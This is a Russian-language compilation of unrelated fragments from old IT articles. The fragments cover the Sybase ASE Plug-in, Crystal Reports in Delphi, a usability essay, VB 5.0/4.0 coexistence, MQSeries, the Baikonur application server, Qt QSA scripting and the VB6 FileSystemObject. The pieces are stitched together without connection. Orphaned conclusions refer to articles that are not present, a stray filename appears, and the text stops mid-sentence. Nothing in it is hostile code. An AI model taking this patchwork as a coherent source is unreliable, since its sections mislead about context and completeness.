  • Новое свойство ASE версии 11.5 - ролевые функции, определяемые для пользователя, - полностью поддерживаются ASE Plug-in.

    Администраторы могут назначать и изменять права пользователя щелчком мыши в соответствующей ячейке таблицы на закладке "Object Permissions" формы "Properties". Формат двумерной таблицы назначения прав пользователя используется для таблиц БД, хранимых процедур, представлений (views) и команд (типа create table). Этот формат также используется для управления правами для пользователей, групп пользователей и пользовательских ролевых функций (roles).

    Управление Adaptive Server Enterprise

    Редактор кода

    Используя Sybase Central администраторы могут легко просматривать, редактировать и выводить на печать тексты хранимых процедур, представлений и триггеров. Полностью интегрированный редактор автоматически вызывается, когда администратор создает новую процедуру, представление или триггер. Для существующих объектов редактор открывается простым выбором команды меню, отображая текст выделенного объекта. Шифрованный текст не отображается.

    Вот некоторые свойства редактора кода:

  • Автоматическое выделение синтаксических конструкций
  • Поддержка отступов в контексте используемого языка
  • Неограниченное количество UNDO и REDO
  • Поддержка DRAG-N-DROP редактирования
  • Наличие режима поиска/замены
  • Открытие и сохранение внешних файлов
  • Печать
  • Выполнение кода, создающего новые объекты
  • Редактор кода не поддерживает доступ к данным. Например, если хранимая процедура создает новую таблицу и заносит в нее данные, то с помощью редактора кода можно только создать таблицу; чтобы заполнить ее данными, администратору потребуется выполнить процедуру из SQL Advantage.


    Поддержка Data Definition Language (DDL)

    Sybase Central включает в себя мощный DDL- генератор для записи кода выделенного объекта на Transact-SQL. Выбранный объект может быть таблицей, представлением, триггером, входом, устройством или даже целой базой данных, включая все объекты внутри нее. Созданный код отображается в окне, где он может быть отредактирован, распечатан или сохранен во внешнем файле. Поддерживается запись в один файл результатов нескольких DDL-генераций.

    Управление несколькими соединениями и OmniConnect

    Component Integration Services (CIS) - новый сервис в версии 11.5 ASE, дающий возможность доступа к данным, находящимся на удаленных серверах, из локального сервера ASE. Удаленный сервер может быть любым сервером Sybase, например, as Adaptive Server Enterprise, Adaptive Server Anywhere или Sybase IQ. Используя соответствующий продукт из сесмейства DirectConnect, можно обеспечить доступ не только к серверам Sybase, но к таким СУБД как Oracle, DB2 или Informix. С помощью CIS пользователь, соединяясь с одним ASE, получает полный и прозрачный доступ ко всем хранилищам данных как на локальном ASE, так и на удаленных серверах.

    ASE Plug-in для Sybase Central с помощью CIS решает следующие задачи управления относительно удаленного доступа к данным:

  • Управление удаленным сервером. Удаленные серверы должны быть зарегистрированы на сервере ASE. Используя ASE Plug-in, администраторы могут добавлять и удалять удаленные серверы, устанавливать или изменять их свойства.
  • Упраление доступом к удаленному серверу. Получая доступ к данным на удаленном сервере, пользователь работает через "слепок" локальных установок доступа на ASE.
  • Управление таблицами на удаленном сервере через промежуточные таблицы. Администраторы могут добавлять, изменять и удалять таблицы на удаленном сервере путем создания этих изменений в промежуточных таблицах (proxy tables) на локальном сервере ASE.
  • Проверка (синхронизация) промежуточных таблиц. Структуры таблиц на удаленном сервере могут быть в любое время изменены соответствующими администраторами, что приводит к рассогласованию данных.Проверка proxy-таблиц сравнивает два источника и подготавливает изменения, необходимые для определения промежуточных таблиц.
  • Кроме управления удаленными серверами ASE Plug-in может управлять OmniConnect. Интерфейс в этом режиме очень похож на интерфейс ASE, за исключением собственно хранения данных: он содержит только proxy-таблицы.

    Управление Crystal Reports с помощью OLE Automation.

    Еще одним вариантом использования Crystal Reports в приложениях является использование Crystal Report Engine как OLE Automation-сервера. В справочной системе Crystal Reports имеется подробное описание иерархии вложенных объектов и их методов (и внушительный набор примеров для Visual Basic, аналоги которых несложно создать и на Pascal). В этом случае пример для Delphi, аналогичный рассмотренному выше, выглядит следующим образом: unit Uole1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,ComObj; type TForm1 = class(TForm) Button1: TButton; Edit1: TEdit; Button2: TButton; Label1: TLabel; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; rep,r:variant; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin rep:=CreateOleObject('Crystal.CRPE.Application'); r:=rep.OpenReport('d:\Report2.rpt'); r.RecordSelectionFormula := '{items.ItemNo} = '+Edit1.Text; r.Preview; end; procedure TForm1.Button2Click(Sender: TObject); begin Close; end; end. Отметим, однако, что использование OLE Automation - не самый выгодный с точки зрения производительности способ управления отчетами.

    Usability.shtml

    Интерфейсный интерфейс В. Ковалев, Вообще, каждая новая операционная система чем-то напоминает компьютерную игру. Журналы с азартом и упоением публикуют инструкции "по прохождению", хакеры и вирусописатели ищут и находят "секретные коды", а пользователи неистово "рубятся" в неё, одновременно решая кое-какие профессиональные задачи и попутно меняя картинки на экране. Самой удачной и увлекательной игрой подобного рода можно без сомнения считать Windows, во всех её вариациях. Мало кто помнит, как всё начиналось. Бедная по возможностям DOS-Shell от Microsoft естественно не могла выдержать конкуренцию с Norton Commanderом (по крайней мере здесь, в постсоветском пространстве). Зато Windows 3.11 уже явила миру то, что и сейчас гордо именуется "дружеским интерфейсом". А уж Windows 95 и вовсе предоставил такие функциональные возможности для пользователей, что и поныне не менее тридцати процентов рабочего времени используется исключительно на настройку (включая замену экранных заставок, фона, звуковых эффектов и цветовой гаммы) этой операционной системы. Правда, похоже, после 95-ого года ребята из Рэймонда так и не явили ничего интересного миру. Видимо, Microsoft решила дождаться момента, когда мощность компьютеров достигнет того предела, что можно будет использовать операционную среду, управляемую голосом. Ведь те же новоявленные Windows 2000 и Windows Me по внешнему виду почти неотличимы от своих собратьев. Правда, по начинке - это всё же другие операционные системы, но внешне - всё как и было: рабочий стол, кнопка "Пуск" и неудобный в использовании Проводник. Есть за рубежом такая профессия, как "юзабилити". У нас специалисты данной отрасли тоже есть, но мало найдется людей, которые смогут внятно объяснить, чем же эти люди занимаются. А занимаются они ни много ни мало - эргономикой программного обеспечения. Дословно: они стараются сделать так, что бы работать с компьютером было удобно. Знаете, почему два синих окошка Нортана и подобных им программ более удобны чем пресловутый стандартный Проводник в Windows? Дело в том, что предназначены эти две программы, хоть и относясятся к файл-менеджерам, для разных операций.
    Если с помощью Norton Commander удобно перемещать, копировать файлы и каталоги, сравнивать их, то Проводник служит для одной-единственной, но весьма хорошо реализованной цели - перейти к нужному файлу или папке, а уж для каких-либо манипуляций с этими объектами он изначально не предназначен. Перейти к необходимому объекту в файловой системе или в панели управления используя Проводник несоизмеримей проще и быстрее, чем прыгать по директориям с помощью Norton Commander-а или подобной программы. В этом, кстати, и кроется успех подобных программы у нас, и практически полная безвестность за границей. Дело в том, что пользователи персональных компьютеров там - в буквальном смысле "пользователи", совершать какие-либо операции на уровне файловой системы им приходиться так же редко, как нам использовать кредитные карточки при расчетах через интернет. Вот именно эти проблемы удобства и рациональности использования тех или иных программных продуктов решаются людьми, чья профессия пока режет нам ухо - "юзабилити". На самом деле проблемы удобства использования программных средств занимают отнюдь не последнее место в списке вопросов, которые предстоит решить разработчику. Особенно на данный аспект следовало обратить внимание тем, кто пополняет и без того обширное море бесплатных или условно-бесплатных программ. Крупным компаниям, производящим программные продукты, хочешь - не хочешь, приходиться прислушиваться к пожеланиям пользователей, особенно в том случае, если этот пользователь корпоративный. А одиночкам, вышедшим на ниву разработки программного обеспечения, приходиться уповать только на собственное понятие "удобоваримости" программ и чувство вкуса, порой весьма отличного от общемирового. Именно в том случае, если у пользователя возникает "чувство комфорта" при работе с каким-нибудь программным продуктом, скорее всего он остановится при выборе именно на этой программе. Ведь, например, широко используемый по всему миру WinZip обрел известность используя общепонятный интерфейс, будучи написанный непрофессионалом в среде Delphi. Поэтому крупные фирмы тратят порой миллионы, а то и миллиарды долларов на разработку интерфейсной среды, понимая, что покупаться будет только тот продукт, пользоваться которым будет просто и удобно.


    И сколько бы нареканий не вызывал Windows, его "оконный" интерфейс, метафора "рабочего стола", возможности "перетащи и брось" - стандарты де факто, и от этого никуда не деться. Хотя например, Internet Explorer и явил миру своеобразный "шаг вперед, два назад". По своей сущности он отбросил наработанный годами общепонятный "язык" общения с пользователем. Согласитесь кнопка "назад", не всегда приведет к предыдущей запрошенной странице (хотя это больше претензии к создателям сайтов, любящих странною любовью фреймы). А то, что никакой броузер по умолчанию не хочет подгружать в фоновом режиме те страницы на которых с текущей есть ссылки (в большинстве случаев мы перемещаемся по сети щелкая мышкой по интересным для нас ссылкам, разве нет?), естественно вызывает раздражения, когда наблюдаешь неповоротливое движение броузера в заданном направление. Неужто нельзя было предугадать, что пользователь сейчас щелкнет по какой-либо ссылке и не подгрузить часть данных заранее. Вообще же на данный момент как разработчики сайтов и разнообразнейших утилит для работы с сетью, похоже, мало задумываются о удобстве работы пользователя, и в большей степени обеспокоены реализацией своих высокохудожественных или высокоинтеллектуальных идей. Мы же пока вообще считаем интерфейс программ делом последним, и вместо справки по F1, выводим лишь гордое и самодовольное "О программе", с указанием, куда следует переводить деньги и перечислением всяческих кар за незаконное использование. И после этого многие удивляются, почему хорошие по своей сути программы не имеют успеха за границей. Да они просто неудобны в использовании. Конечно, в том случае, если программа предназначена для выполнения профессиональных обязанностей, то можно освоить и подобный неудобный в использовании продукт, попутно законспектировав, к примеру, два тома руководства по внутреннему языку для 1С. Ну а в том случае, если программа предназначена для рядового пользователя? Будет он тратить силы и время на исследования может быть и весьма интересного продукта? Скорее всего нет - и, как следствие, программа останется невостребованной.


    А "шароварщики" без денег. Единственный сектор, где "юзабилити" удобству работы с программой уделяют внимание - это компьютерные игры. Мало кто из разработчиков программ здесь осмелиться так просто плевать на пользователей - релиз игры они просто не продадут. В этом смысле аналогия Windows с компьютерной игрой очевидна. Несмотря на многочисленные огрехи самой операционной системы, особых нареканий графический интерфейс не вызывает - его конечно можно улучшать, используя разнообразнейшие и многочисленные программы, но по своей сути он достаточно целен и удобен в использование. Кстати, если вы считаете, что это не так, быстро ответьте: что бы вы хотели видеть вместо рабочего стола и панели задач? Но похоже, что ситуация с неудобством программных продуктов имеет шанс быть исправленной. На серверах объявлений о работе уже появились приглашения специалистов по "юзабилити". Правда, пока предложений больше, чем специалистов. Но в этом есть определенный шанс для тех, кто сможет доказать свою умение влезать в "шкуру" пользователя. И в скором времени можно надеяться на то, что от "местных" программ перестанут шарахаться за рубежом, да и нас они перестанут пугать нелогичностью и станут более удобны в использовании. В. Ковалев / ©

    Установка разделяемых свойств компонентов

    Большинство визуальных компонентов имеют общие свойства, (например, Visible, Width, Left). Для установки одинаковых значений общих свойств для нескольких компонентов необходимо выполнить следующие действия: 1. Выбрать несколько настраиваемых компонентов. При этом страница свойств и спектора объектов будет отображать только те свойства, которые имеются у всех выбра ных компонентов. Установка разделяемых свойств компонентов Рис. 1. Выбор нескольких компонентов для групповых операций 2. Установить значения свойств, общих для выделенных компонентов. Рис.2 показывает результаты изменения свойства Font и Left . Все выбранные компоненты приобрели одинаковые значения этих свойств. Установка разделяемых свойств компонентов Рис. 2 Установка разделяемых свойств компонентов

    Установка VB 5.0 и VB 4.0 на одном компьютере

    В нескольких откликах читателей на статью о Visual Basic 5.0 (PC Week/RE, N 22/97, стр. 43) затрагивается вопрос о проблеме сосуществования VB 5.0 и VB 4.0 на одном компьютере. Кто-то столкнулся с ней на собственном опыте, кто-то читал об этом в Internet или зарубежной прессе. Суть проблемы заключается в том, что эти две версии VB имеют довольно много общих программных компонентов с одинаковыми именами и функциями - ряд файлов OCX и DLL, которые хранятся в общем каталоге компьютера WINDOW95\SYSTEM. Соответственно, при установке VB 5.0 автоматически производится замена старых компонентов на новые (правила здесь очень просты - на компьютере сохраняются файлы с более поздней датой создания). В бета-версиях VB 5.0, которые распространялись в конце 1996 г., о такой ситуации прямо указывалось в обращении к программистам-тестерам. Там же говорилось о нежелательности хранения обеих версий 4.0 и 5.0 на одном компьютере по двум причинам:
  • Так как речь шла о бета-версии, то Microsoft не гарантировала работоспособность новых компонентов.
  • Разработчик-тестер не мог передавать кому бы то ни было создаваемые им программы, так как в них попадали бета-компоненты VB 5.0, на распространение которых он не имел прав. Ошибки в бета VB 5.0 (в том числе и в бета-версии VB5/CCE, которая распространялась свободно) действительно были. Например, я тогда обнаружил их в ряде модулей OCX - COMDLG32, COMCTL32 и RICHTX32. Пришлось вручную восстанавливать варианты от VB 4.0, которые однако работали и с новой версией. Справедливости ради нужно отметить, что в окончательном варианте VB 5.0 эти ошибки оказались исправлены. Но из общения с обратившимися ко мне читателями было видно, что практически все они пользовались либо старыми бета-версиями, либо пиратскими, содержимое которых вообще с трудом поддается идентификации. В частности, многие пользователи VB5-бета получили довольно неприятный сюрприз, обнаружив после майских праздников, что время жизни VB 5.0 (и его компонентов!) закончилось. В окончательной версии VB 5.0 никаких предупреждений со стороны Microsoft о его разногласиях с VB 4.0 не содержится. Более того в документах Microsoft подчеркивается совместимость компонентов VB 5.0 с версией 4.0. (Один читатель указал на предупреждение не ставить две версии на один ПК, которое содержится в статье ID:Q161344, записанной на Web-странице Microsoft. Но, по-видимому, это относится ко времени бета-тестирования - статья датирована декабрем 1996 г.) Тем не менее, следует рекомендовать всем по возможности воздержаться от установки на один ПК сразу двух версий VB. Хотя бы потому, что VB 5.0 фактически еще проходит этап "опытной эксплуатации" и наличие в нем ошибок сейчас вполне вероятно. Для разработчиков, занимающихся созданием коммерческих программ на VB 4.0, рисковать не стоит. К тому же все новые варианты компонентов заметно прибавили по размеру (что касается функций, то это еще требует дополнительного изучения).

    Устройство системы очередей сообщений

    Основными элементами системы MQSeries являются: сообщения, которые прикладные программы посылают друг другу; очереди для хранения сообщений; менеджеры очередей, управляющие очередями и обработкой сообщений; каналы передачи сообщений, связывающие менеджеры между собой. Сообщения (Message) MQSeries представляют собой структуру данных, состоящую из заголовка сообщения размером 324 байт (MQMessageDescriptor) и прикладных данных, в зависимости от платформы имеющих размер до 100 Мбайт. Заголовок содержит контрольную информацию о сообщении и его характеристиках. С помощью этой информации менеджер очередей решает, каким образом обрабатывать и куда передавать сообщение. Прикладная часть сообщения может включать данные в специальных предопределенных форматах или данные в форматах пользователя. Для приложений, функционирующих под управлением разных ОС и оперирующих различными кодовыми страницами, поддерживаются методы конвертации данных. Очередь сообщений (Queue) - основное место хранения и обработки сообщений. Физическое управление очередями полностью скрыто от прикладных программ - приложения могут получить доступ к очередям только через интерфейс MQI (Message Queue Interface). Для передачи критически важной информации MQSeries использует "постоянные" (persistence) сообщения, которые журналируются и восстанавливаются после рестарта менеджера сообщений. Для повышения производительности MQSeries поддерживает также и "непостоянные" сообщения, которые не журналируются и могут быть потеряны в результате системного или аппаратного сбоя. Менеджер очередей (Queue Manager) отвечает за управление очередями сообщений и прием вывозов от прикладных программ. Внутренняя реализация менеджеров очередей для каждой операционной системы своя. Однако с функциональной точки зрения менеджеры очередей MQSeries представляют собой совокупность очередей различных типов, каналов передачи сообщений между менеджерами, программ-мониторов и административных утилит. Прикладные программы взаимодействуют с системой MQSeries через интерфейс прикладного программирования MQI, который имеет единую структуру на всех платформах и основан на простой системе из десятка команд. Взаимодействие с системой любой прикладной программы начинается с команды подключения к менеджеру очередей MQCONN.
    Чтобы использовать очередь, приложение должно сначала ее открыть (команда MQOPEN). Если все прошло успешно, программе возвращается специальный указатель (object handle), на который она будет ссылаться при последующих обращениях к данной очереди. Для помещения сообщения в очередь используется команда MQPUT, для выборки сообщений - команда MQGET, для вспомогательных целей запроса и установки атрибутов очередей существуют вызовы MQINQ и MQSET. При этом многочисленные опции команд позволяют реализовать различные режимы работы приложений с очередями сообщений. Например, путем установки опций команды MQGET можно осуществлять просмотр и навигацию вдоль очереди сообщений (по типу курсора CУБД) или выборку сообщений, удовлетворяющих, например, какому-либо признаку. Для начала и завершения транзакции используется команда MQCMT и команда отката транзакции назад MQBACK. Для закрытия очереди и отсоединения от менеджера очередей применяются команды MQCLOSE и MQDISC соответственно. При создании приложений обеспечивается поддержка интерфейса MQI для языков программирования: Cи, С++, Java, SmallTalk, Cobol, PL/1, Lotus LSX, Basic. Для написания программ, использующих MQSeries, можно задействовать такие распространенные пакеты быстрой разработки приложений, как VisualAge, Delhi, PowerBuilder, VisualBasic и другие. Хотя надо отметить, что разработка приложений для систем очередей сообщений имеет свои особенности, связанные с асинхронным характером взаимодействия, например программирование процедур-мониторов очередей.

    В заключение

    Мы постарались по возможности рассмотреть все значимые аспекты перевода 32-разрядного кода на 64-разрядную платформу. Следует заметить, что портирование драйверов происходит точно по такому же принципу. Хотя при этом обнаруживается достаточно много подводных камней, каждый из которых проявляется в своем конкретном случае. Составить общее представление об этом вопросе позволяет MSDN. Как сообщают представители Microsoft, средства для работы с 64-разрядным кодом (новые типы данных, указатели, компилятор, библиотеки...) будут включены в новую версию MS Visual C++. Пока что в нашем распоряжении есть DDK/SDK, и это уже немало. С их помощью уже сейчас можно создавать кросс-платформенные приложения и портировать 32-разрядный код. АЛЕКСЕЙ ДОЛЯ - технический писатель. С ним можно связаться по адресу: .

    Визуальное построение Internet/Intranet приложения при помощи Borland Delphi.

    Давайте посмотрим, что можно сделать при помощи визуальных компонент для Delphi, поставляемых в составе коробки с Baikonur Web App Server for Delphi. Конечно же, примеры, которые входят в состав поставки, не показывают всего многообразия возможностей, предоставляемых инструментарием, но с чего-то ведь надо начинать.

    Вместе весело шагать ...

    Итак, все "общество" в сборе. Есть пуля, стрелок и командир. Их нужно объединить в цепь - единую систему, способную выполнить поставленную задачу. Дадим классу "Цепь" имя CchainShot (листинг 4). Данный класс создает объект "Командир", а также массивы объектов "Стрелок" и "Пуля" - соответственно IArrayRifleman и IArrayBullet. Связи между порожденными объектами организует метод SetLink. Метод OnSize должен вызываться сразу после создания цепи стрелков. Он служит для задания размеров мячиков-пуль, установки их начального положения и определения шагов перемещения по координатным осям за один такт автоматного времени. Методы GetAddrRifleman и GetAddrBullet возвращают адреса стрелков и пуль по их номерам из массивов. При организации связей для каждого стрелка ищется пуля с таким же номером, как у него. Организация связей заключается в присвоении значений указателям, входящим в состав объектов "Стрелок" и "Пуля". При этом для первого стрелка соседом слева является командир, а для последнего указатель на соседа справа имеет значение Null.

    Вместо заключения

    Использование динамически подключаемых библиотек не так сложно, как это может показаться на первый взгляд. DLL предоставляют широчайшие возможности для оптимизации работы приложений, а также работы самих программистов. Используйте DLL и, возможно, ваша жизнь станет легче!

    Внутренняя архитектура сервера приложений Baikonur.

    Рассмотрим, как устроента система на основе сервера Baikonur. На рисунке показаны основные элементы системы. Удаленные и неудаленные клиенты 1-N обслуживаются одинаковым образом, никаких различий для них не делается. Каждый запрос, поступающий от клиентского браузера на TCP-порт, обслуживается листенером - подзадачей обслуживания коммуникационного порта, который фактически является монитором соединений (коннектов), а затем попадает на парсер, который разбирает запрос и идентифицирует клиента. При возникновении соединения листенер инициирует работу IP-менеджера, который обслуживает подзадачи сессий клиентов. Парсер принимает решение, генерировать ли ему новую подзадачу сессии клиента, или переключить информационный поток от клиента к его задаче. Таким образом информационный поток попадает от клиентского браузера именно туда, куда необходимо. Идентификация клиента позволяет избежать потери контекста при переключении между задачами. На передаче информационного потока задаче обработка не заканчивается. Библиотека HTML-компонент, написанная для Delphi, устроена так, что базовый компонент, присутствующий в каждой задаче (THTMLControl), умеет воспринимать поток информации, передаваемый ему с сервера Baikonur. Этот поток воспринимается, и раздается активным визуальным компонентам для обработки. При передаче информации от приложения клиенту все происходит в обратном порядке, с тем лишь исключением, что коннект уже установлен, клиентский браузер идентифицирован. Поэтому остается лишь собрать информацию с визуальных компонент, собрать ее в один поток и передать обратно на клиента. Внутренняя архитектура сервера приложений Baikonur. Рисунок 3 Для функционирования системы строится довольно сложная структура данных (см. следующий рисунок.). Сложность построения системы усугубляется еще и тем, что обработка всех процессов производится в параллельном режиме, это особенно заметно на многопроцессорных серверах. Все подзадачи Baikonur ведут обработку независимо друг от друга, и, хотя в целом сам сервер получился довольно компактным, логика его функционирования требует отдельного описания. Внутренняя архитектура сервера приложений Baikonur. Рисунок 4

    Внутри

    Использование сценариев делает возможным интеграцию объектной модели приложения C++ с интерпретатором сценариев. Для QSA это означает, что большая часть Qt и, в особенности, объектная модель Qt должны быть доступны для Qt Script. Предоставление доступа к откомпилированным функциям из сценариев называется 'привязыванием' (binding). Для осуществления привязывания применяются различные подходы, но наиболее распространенным является использование генератора кода, который производит синтаксический разбор объявлений классов C++, и на основе собранной информации для каждого класса создает обертку (wrapper), которая обычно является подклассом. В дальнейшем интерпретатор сценариев вызывает код обертки. Этот подход имеет два существенных недостатка: он сильно раздувает код, потому что подкласс обертки должен быть создан для каждого класса, и очень утомителен, потому что обертка должна быть создана для каждого класса, который разработчик захочет использовать в сценариях. Подход, использованный в QSA, совершенно отличен, и основан на мета-объектной системе Qt. Мета-объектная система использует механизм сигналов и слотов, с которым знакомы все программисты Qt. Она также использует систему свойств Qt. Мета-объектная система может использоваться во время выполнения для создания и удаления связей сигнал-слот, для запросов, получения и изменения свойств, и для доступа к информации RTTI (Run Time Type Identification). Ни для одной из этих динамических возможностей не нужны подклассы оберток и не потребуется писать какой-либо другой код. Небольшое количество кода, который предоставляет эти возможности, уже создано компилятором moc (Meta Object Compiler). В результате каждый класс и подкласс QObject, а также все их свойства, сигналы и слоты автоматически доступны для использования в сценариях. Не-QObject классы могут легко быть сделаны доступными для сценариев, если их обернуть в QObject. Этот подход работает даже для плагинов (plugins), поэтому классы или подклассы QObject, используемые в плагинах, будут доступны в сценариях. Внутри Приведенная диаграмма показывает взаимосвязи между механизмом поддержки сценариев (QSA Library), приложением и сценариями приложения. Разработчики сценариев могут получить доступ непосредственно к объектам QObject, для которых был вызван метод addObject(), как будто эти объекты встроены в сам язык Qt Script. Объекты QObject могут быть объектами приложения или объектами, специально созданными разработчиками для программистов сценариев с целью предоставления им простого управления приложением. QSA Designer интегрирован с механизмом поддержки сценариев для обеспечения удобства создания, редактирования, выполнения и отладки сценариев.

    Восемь типов технологии перевода

    В современных профессиональных средах перевода возможности вычислительной техники используются на различных этапах и уровнях. Всего можно выделить восемь способов применения компьютера при переводе (таблица 1). Таблица 1
    Уровень терминовУровень сегментов
    До перевода
  • Выделение терминов
  • Анализ терминологии
  • Сегментация текста
  • Во время перевода
  • Автоматический поиск терминологии
  • Поиск языковых пар в памяти переводов
  • Машинный перевод
  • После перевода
  • Проверка соответствия терминологии
  • Проверка целостности сегментов, формата и грамматики


  • Вот пуля пролетела, и ага, или А очередями слабo,?!

    В основном варианте программы стрелки выпускают по одной пуле. А как сделать, чтобы они были готовы стрелять в любой момент? Или, по-другому, как организовать стрельбу очередями? Оказывается, для этого достаточно внести в классы "Стрелок" и "Пуля" совсем небольшие изменения. Полностью новые классы приведены в примере, прилагаемом к электронной версии этой статьи (см. , где также находятся последняя версия FSA-библиотеки mfsa532.dll и дополнительная библиотека lwslib.dll), здесь же мы рассмотрим лишь соображения, лежащие в основе реализации "автоматной" стрельбы. Во-первых, пуля должна быть выпущена точно в нужный момент. Более всего для этого подходит действие y3 стрелка, позволяющее создать динамический объект-пулю. Пусть сам стрелок после выстрела переходит к ожиданию новой команды. Тогда действие y3 приобретет вид, показанный в листинге 6. Во-вторых, объекту "Стрелок" следует передать адрес окна отображения, который он, в свою очередь, передаст объекту "Пуля" (см. листинг 6). И в-третьих, необходимо придать пуле способность распознавать выстрел в автоматическом режиме, что можно сделать, присваивая ей номер, равный нулю. Кроме того, такая пуля должна самоуничтожаться, достигнув границы окна. Таблица переходов для данного варианта алгоритма приведена в листинге 7. Подчеркнем, что при переходе КА в состояние "00" автоматный объект удаляется из сетевой автоматной среды. Проделав описанные изменения, можно, наконец, стрелять очередями. Чтобы выпустить несколько пуль подряд, нужно прежде, чем первая пуля достигнет границы окна, дать требуемое число раз команду Fire в меню программы Command. Меню позволяет также задать скорость полета пули, выбрав пункт Slow или Fast (по умолчанию действует Fast). В окончательном варианте пули, входящие в массив, имеют вид известных мячиков, а "автоматные" - стилизованных под пулю эллипсов.

    Встраивание отчетов в Borland Delphi и Borland C++Builder.

    Существует несколько способов использования отчетов Crystal в приложениях, написанных на Delphi и C++Builder. Во-первых, можно непосредственно использовать функции Print Engine в коде, связанном с формой, или написать собственные компоненты, использующие такие функции. Во-вторых, можно воспользоваться готовым компонентом TCrpe, входящим в комплект поставки Crystal Reports 6.0, а также использовать компоненты третьих фирм. Можно использовать управляющий элемент Crystal Reports ActiveX. Наконец, можно управлять работой Crystal Reports Print Engine как сервером OLE Automation. Рассмотрим примеры использования каждого способа.

    Введение в объектную модель FSO

    Новая особенность VB6 - объектная файловая система (FSO), которая представляет собой основанный на объектах инструмент для работы с папками и файлами. Это позволяет вам использовать знакомый синтаксис object.method с богатым набором свойств, методов и событий для работы с папками и файлами в дополнение к использованию традиционных методов и команд Visual Basic. Объектная модель FSO дает вашим прикладным программам возможность создавать, изменять, перемещать и удалять папки. С легкостью можно собрать информацию о системных папках, их наличии и расположении. Вы также можете получать всю остальную информацию о дисках, папках и файлах: их имена, атрибуты, даты создания или изменения и т.д. Объектная модель FSO позволяет намного проще проводить обработку файлов. При обработке файлов ваша основная цель состоит в том, чтобы сохранить данные в эффективном, легко доступном, экономящем ресурсы формате. Всю остальную работу - собственно размещение данных на носителе - берет на себя FSO. Вы сможете создавать файлы, добавлять, изменять и считывать данные. FSO, которая содержится в библиотеке типов Scripting type library (scrrun.dll), поддерживает создание текстовых файлов и манипулирование ими через объект TextStream. Однако она не поддерживает создание или манипулирование двоичными файлами. Для управления двоичными файлами по-прежнему приходится использовать старые методы - команду Open с соответствующим флагом. Объекты файловой системы FSO имеет следующие объекты:
    ОбъектОписание
    Drive (Дисковод)Позволяет получить информацию о дисководах, присоединенных к системе: их тип, объем (общий, занятый и свободный), метку, серийный номер и т.д. Обратите внимание, что под словом "дисковод" не обязательно подразумевается жесткий диск. Это может быть FDD, CD-ROM, виртуальный диск и т.д. Также не обязательно, чтобы дисководы были физически присоединены к системе - обеспечивается работа с сетевыми дисками.
    Folder (Папка)Позволяет создавать, удалять или перемещать папки. Также через этот объект можно получить сведения об их именах, атрибутах, путях к определенным папкам и так далее.
    Files (Файлы)Позволяет создавать, удалять или перемещать файлы. Предоставляет доступ к атрибутам, именам и прочим характеристикам файлов.
    FileSystemObjectОсновной объект группы. Содержит методами, которые позволяют создавать, удалять, получать информацию обо всех объектах файловой системы. Также осуществляет управление дисководами, папками и файлами. Многие из методов, связанных с этим объектом, дублированы в других объектах.
    TextStreamДает возможность читать и писать текстовые файлы.

    Программирование в объектной модели FSO Программирование в объектной модели FSO включает три основных задачи:
  • создание объекта FileSystemObject путем использования метода CreateObject или объявления новой переменной типа FileSystemObject;
  • использование соответствующего метода в созданном объекте;
  • вызов свойств объекта. FSO содержится в библиотеке типов, называемой Scripting, которая размещена в файле scrrun.dll. Эту библиотеку надо прописать в меню References | Microsoft Scripting Runtime (если вы этого еще не сделали). С помощью Object Browser можно просмотреть список объектов, свойств, методов, событий и констант, включенных в FSO. Создание объекта FileSystemObject Первый шаг - создание объект FileSystemObject для последующей работы с ним. Это можно сделать двумя способами:
  • объявить переменную как объект:
    Dim fso As New FileSystemObject
  • используя метод CreateObject, создать объект класса FileSystemObject:
    Set fso = CreateObject("Scripting.FileSystemObject") Обратите внимание, что первый метод работает только в Visual Basic, в то время как второй метод работает и в Visual Basic, и в VBScript. Использование соответствующих методов Следующий шаг - использование соответствующих методов объекта FileSystemObject. Например, если вы хотите создать новую папку или файл, надо использовать методы CreateFolder или CreateTextFile. Если вы хотите удалить объекты, используйте методы DeleteFile или DeleteFolder объекта FileSystemObject, или метод Delete объектов File или Folder. (FSO, естественно, не поддерживает создание или удаление объектов типа Drive). Используя соответствующие методы, вы можете также копировать и перемещать файлы и папки. Обратите внимание, что некоторые функциональные возможности в модели объекта FileSystemObject избыточны. Например, вы можете скопировать файл двумя путями: используя метод CopyFile объекта FileSystemObject, или используя метод Copy объекта File. Оба подхода дают одинаковые результаты и существуют для того, чтобы обеспечить максимум гибкости при программировании. Работа с существующими дисководами, файлами и папками Чтобы получить доступ к существующему дисководу, файлу или папке, используется соответствующий метод Get объекта FileSystemObject: GetDrive; GetFolder; GetFile.


    Например: Dim fso As New FileSystemObject, fil As File Set fil = fso.GetFile("c:\test.txt") Обратите внимание, однако, что вы не должны использовать методы Get для только что созданных объектов, так как функции создания объектов сразу возвращают вызывающей программе ссылку на созданный объект. Например, если вы создаете новую папку, используя метод CreateFolder, вам не нужно использовать метод GetFolder, чтобы обратиться к ее свойствам (таким как Name, Path, Size и т.д.), так как функция CreateFolder сразу возвращает ссылку на созданный объект. Чтобы получить доступ к свойствам созданной папки, достаточно воспользоваться соответствующей переменной (в данном случае fldr): Private Sub Create_Folder() Dim fso As New FileSystemObject, fldr As Folder Set fldr = fso.CreateFolder("C:\MyTest") MsgBox "Created folder: " & fldr.Name End Sub Обращение к свойствам объекта Получив доступ к объекту с помощью методов Get (или создав его), вы можете обращаться к его свойствам. Например, сначала вы получаете доступ к корневому каталогу диска c: методом GetFolder (так как папка уже существует): Set fldr = fso.GetFolder("c:\") После этого вы можете проверить его свойство Name: Debug.Print "Folder name is: "; fldr.Name Если Вы хотите узнать дату и время последнего изменения файла, используйте следующий синтаксис: Dim fso As New FileSystemObject, fil As File 'Получаем объект File, чтобы сделать запрос Set fil = fso.GetFile("C:\detlog.txt") 'Печатаем информацию Debug.Print "File last modified: "; fil.DateLastModified

    Введение в WebOLTP

    WebOLTP – имя, которое было предложено компанией Sybase, для описания приложений, выполняющих транзакции в Internet, intranet, extranet или традиционных корпоративных сетях. Отличительные черты WebOLTP при ставнении с OLTP-технологией на мэйнфреймах или в системах клиент/сервер :
